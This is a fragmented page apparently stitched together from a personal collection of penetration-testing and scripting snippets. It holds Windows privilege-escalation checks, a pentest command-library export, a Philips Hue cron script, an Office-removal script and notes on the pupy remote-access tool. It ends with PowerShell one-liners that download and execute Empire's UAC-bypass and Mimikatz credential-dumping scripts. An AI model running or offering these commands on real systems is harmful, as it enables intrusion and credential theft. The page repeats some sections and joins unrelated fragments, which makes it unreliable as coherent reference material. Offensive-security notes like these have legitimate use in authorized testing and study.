[TOC]
Windows Initial Checks
Basic Info
hostname
systeminfo
whoami
Global path
If any part of the SYSTEM %PATH% variable is writeable by Authenticated Users, privesc exists
{ | |
"username": "brakertech", | |
"export_time": "2021-01-28T23:14:25.004Z", | |
"export_type": "Account Items", | |
"service_command_library": [ | |
{ | |
"service": "http", | |
"sort_order": null, | |
"name": "davtest", | |
"command": "davtest -url http://$ip:$port", |
* * * * * . $HOME/.bash_profile; cd $HOME/Library/cron/philips-hue-experiments && $HOME/Library/cron/philips-hue-experiments/hue.sh 2>&1 >> $HOME/Library/cron/philips-hue-experiments/log/hue.log | |
@daily /bin/echo "" > $HOME/Library/cron/philips-hue-experiments/log/hue.log |
#!/bin/bash | |
# Author: Steve Stonebraker | |
# Date: 11/16/2020 | |
# brakertech.com | |
WHOAMI=$(whoami) | |
path_phe=/Users/"$WHOAMI"/Library/cron/philips-hue-experiments | |
path_log="$PWD"/log/hue.log | |
path_npm=$(which npm) |
[TOC]
hostname
systeminfo
whoami
If any part of the SYSTEM %PATH% variable is writeable by Authenticated Users, privesc exists
#!/bin/bash | |
echo " Removing Office 365 apps..." | |
rm -rf "/Applications/Microsoft Excel.app" | |
rm -rf "/Applications/Microsoft OneNote.app" | |
rm -rf "/Applications/Microsoft Outlook.app" | |
rm -rf "/Applications/Microsoft PowerPoint.app" | |
rm -rf "/Applications/Microsoft Word.app" | |
rm -rf "/Applications/Microsoft OneDrive.app" | |
rm -rf "/Applications/Microsoft Teams.app" |
aws organizations list-accounts | grep arn | awk -F'/' '{ print $3 }' | awk -F'"' '{ print $1 }'
link to project home: https://github.com/n1nj4sec/pupy
Modify pupy.conf Under the section starting with [aliases] you can add them
[aliases]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"